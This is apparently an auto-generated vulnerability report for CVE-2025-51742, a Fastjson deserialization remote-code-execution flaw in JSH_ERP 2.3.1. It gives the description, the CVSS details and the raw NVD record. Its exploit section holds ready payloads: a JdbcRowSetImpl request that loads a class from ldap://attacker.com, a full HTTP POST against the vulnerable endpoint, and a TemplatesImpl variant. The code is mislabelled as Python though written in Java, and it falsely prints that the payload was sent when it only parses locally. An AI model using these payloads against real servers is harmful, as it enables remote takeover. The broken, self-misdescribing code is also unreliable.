Security Vulnerability Report
中文
CVE-2025-51742 CVSS 9.8 CRITICAL

CVE-2025-51742

Published: 2025-11-25 20:15:59
Last Modified: 2025-12-02 15:38:50

Description

An issue was discovered in jishenghua JSH_ERP 2.3.1. The /material/getMaterialEnableSerialNumberList endpoint passes the search query parameter directly to parseObject(), introducing a Fastjson deserialization vulnerability that can lead to RCE via JDBC payloads.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:* - VULNERABLE
jishenghua JSH_ERP 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class CVE_2025_51742_POC { public static void main(String[] args) { // Enable autotype for exploitation ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // Malicious Fastjson payload for RCE via JDBC String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://attacker.com/Exploit\"," + "\"autoCommit\":true}"; try { // This will trigger the deserialization vulnerability Object obj = JSON.parse(payload); System.out.println("Payload sent to: /material/getMaterialEnableSerialNumberList"); } catch (Exception e) { e.printStackTrace(); } } } // HTTP Request POC: // POST /material/getMaterialEnableSerialNumberList HTTP/1.1 // Host: target.com // Content-Type: application/json // // {"search": "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/Exploit\",\"autoCommit\":true}"} // // Alternative payload using TemplatesImpl: // {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_encoded_malicious_class"],"_name":"poc","_tfactory":{},"_outputProperties":{}}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-51742", "sourceIdentifier": "[email protected]", "published": "2025-11-25T20:15:59.363", "lastModified": "2025-12-02T15:38:50.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in jishenghua JSH_ERP 2.3.1. The /material/getMaterialEnableSerialNumberList endpoint passes the search query parameter directly to parseObject(), introducing a Fastjson deserialization vulnerability that can lead to RCE via JDBC payloads."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.3.1", "matchCriteriaId": "425A1CE4-66CE-4BC9-8CB9-58DCE58F1E0F"}]}]}], "references": [{"url": "https://blog.hackpax.top/jsh-erp/", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://gist.github.com/Paxsizy/a40334ffa7f05c42bf0348833f830108", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gitee.com/jishenghua", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gitee.com/jishenghua/JSH_ERP", "source": "[email protected]", "tags": ["Product"]}]}}